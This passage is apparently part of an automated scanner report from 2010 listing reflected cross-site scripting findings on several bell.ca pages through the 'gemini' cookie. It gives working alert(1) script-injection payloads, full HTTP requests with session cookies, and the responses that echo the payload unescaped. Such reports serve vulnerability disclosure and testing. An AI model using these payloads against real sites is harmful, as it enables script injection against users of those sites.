        <link href="/support/framework/skins/content/content.css" media="screen" rel="stylesheet" type="text/css"/><link href="/sup
...[SNIP]...

setPrevDefinedOmniVars();
getREQueryKeys();

s.channel="OtherCare";

s.prop10=(typeof s_pageName!="undefined"?s_pageName:"nb:c:billing:mybellvideo[popup]");


s.prop19="endbf97"-alert(1)-"5d2346a6d1e";
s.prop20="ns";
s.prop21="endbf97"-alert(1)-"5d2346a6d1e-ns";
s.prop30="Omnitrack.jsp";
s.prop44="";
s.eVar44="";
if(typeof s_tab=="undefined"){
s.pageName=s.pr
...[SNIP]...

2.414. http://www.bell.ca/support/popups/personal/billing/mybellvideo.jsp [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.bell.ca
Path:   /support/popups/personal/billing/mybellvideo.jsp

Issue detail

The value of the gemini cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2be43"><script>alert(1)</script>301c882c384 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /support/popups/personal/billing/mybellvideo.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290615130403_684711","ru":"http://burp/show/8","r":"burp","st":"","pv":5,"to":4.5,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":5,"s":true}},"cd":1,"sd":1,"f":1290615275159,"pn":1}; __g_c=w%3A1%7Cb%3A6%7Cc%3A276131723871238%7Cd%3A2%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; gemini=region=ON|province=NS|myurl=CSQ|language=en2be43"><script>alert(1)</script>301c882c384; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290615213421; ASPSESSIONIDCSTSTDDS=OPMKOGNBGJCJLDJODPIBCNPM; newshoppingcartid=; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D2%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290617076332%3B%20s_lv%3D1290615276335%7C1385223276335%3B%20s_lv_s%3DLess%2520than%25207%2520days%7C1290617076335%3B%20s_pv%3DLogin%7C1290617076349%3B; __g_u=276131723871238_2_0.05_0_5_1290908625687; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; GEMSESSIONID=2RL4MtsRWqSnhJqxbTYyNvTmpGBwBYqTBGGZKpZ4T5B63rB2rhFY!674249451;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 17:05:09 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Length: 5087
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=y05sMtFGLKnJjpZvNtXnm1JQWhrlvFCjwHg0DG8W0j6H5YvvyvMx!674249451; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1


<html>
<head>
<title>Bell > Personal</title>
        <link href="/support/framework/skins/content/content.css" media="screen" rel="stylesheet" type="text/css"/><link href="/sup
...[SNIP]...
<iframe src="http://media.bluerush.ca/bell/onebill2008/?reg=false&lang=en2be43"><script>alert(1)</script>301c882c384" height="590" width="780" name="onebill" scrolling="no" frameborder="no" align="center">
...[SNIP]...

2.415. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/personal/storeLocator/slmap.jsp

Issue detail

The value of the gemini cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6570f"-alert(1)-"a79f7d7d096 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /shopping/popups/personal/storeLocator/slmap.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=en6570f"-alert(1)-"a79f7d7d096; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:40:52 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=f2YqMstGrRgDmc21T6YFP1HSrTdNkd224TybsPP4Q8DcSvR2LpSR!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 25074


lang = "en";

<script type="text/javascript">
<!--
window.location.href='http://www.bell.ca/support/PrsCSrvGnl_security_informati
...[SNIP]...

    SLConfig.maxStoresReturned = 24;
    SLConfig.maxSearchRadiusInKm = 250;
    //SLConfig.pushpinsPath = "/shopping/popups/personal/storeLocator/images/pins";
   
    var pageLocale = "en6570f"-alert(1)-"a79f7d7d096_CA_ON";
   </script>
...[SNIP]...

2.416. https://www.bell.ca/shopping/popups/personal/storeLocator/slmap.jsp [gemini cookie]  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://www.bell.ca
Path:   /shopping/popups/personal/storeLocator/slmap.jsp

Issue detail

The value of the gemini cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc913"><script>alert(1)</script>427daa6df35 was submitted in the gemini cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /shopping/popups/personal/storeLocator/slmap.jsp HTTP/1.1
Host: www.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: fsr.s={"v":1,"rid":"1290557305061_642285","pv":2,"to":3,"c":"https://www.bell.ca/home/Home_L_login.page","lc":{"d1":{"v":2,"s":false}},"cd":1,"sd":1}; idevbellca0_s_pers=%20s_vnum%3D1293149295717%2526vn%253D1%7C1293149295717%3B%20s_invisit%3Dtrue%7C1290559107947%3B%20s_lv%3D1290557307963%7C1385165307963%3B%20s_lv_s%3DFirst%2520Visit%7C1290559107963%3B%20s_pv%3DLogin%7C1290559107978%3B; __g_c=w%3A1%7Cb%3A3%7Cc%3A276554216637188%7Cd%3A1%7Ca%3A0%7Ce%3A0.05%7Cf%3A0; idevbellca0_s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290553484352%3B; __g_u=276554216637188_1_0.05_0_5_1290989303641; gemini=region=ON|province=NS|myurl=CSQ|language=encc913"><script>alert(1)</script>427daa6df35; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; fsr.a=1290557307183; s_vi=[CS]v1|26760A9305013AC2-60000102C000D033[CE]; GEMSESSIONID=k0b8MsLCMy42xpGvCvyWVmJNG8ryhbqYGqtbJgPG2yrDwjwh3bzn!-765054306;

Response

HTTP/1.1 200 OK
Connection: close
Date: Wed, 24 Nov 2010 01:40:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="NON TAIa OUR NOR UNI PRE LOC"
WS: DCOC6T
Cache-Control: no-cache="set-cookie"
Content-Type: text/html; charset=UTF-8
Set-Cookie: GEMSESSIONID=PRnvMstQVLyKQGT0FTzXMnGYXBT9zKg5WF7416drMrkF4jQb82qL!-765054306; domain=.bell.ca; path=/
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 25189


lang = "en";

<script type="text/javascript">
<!--
window.location.href='http://www.bell.ca/support/PrsCSrvGnl_security_informati
...[SNIP]...
<img src="/web/common/encc913"><script>alert(1)</script>427daa6df35/all_regions/images/buttons/btn_search.gif"
alt="?bundle:storeLocator?"/>
...[SNIP]...

Report generated by XSS.CX at Wed Nov 24 19:59:03 CST 2010.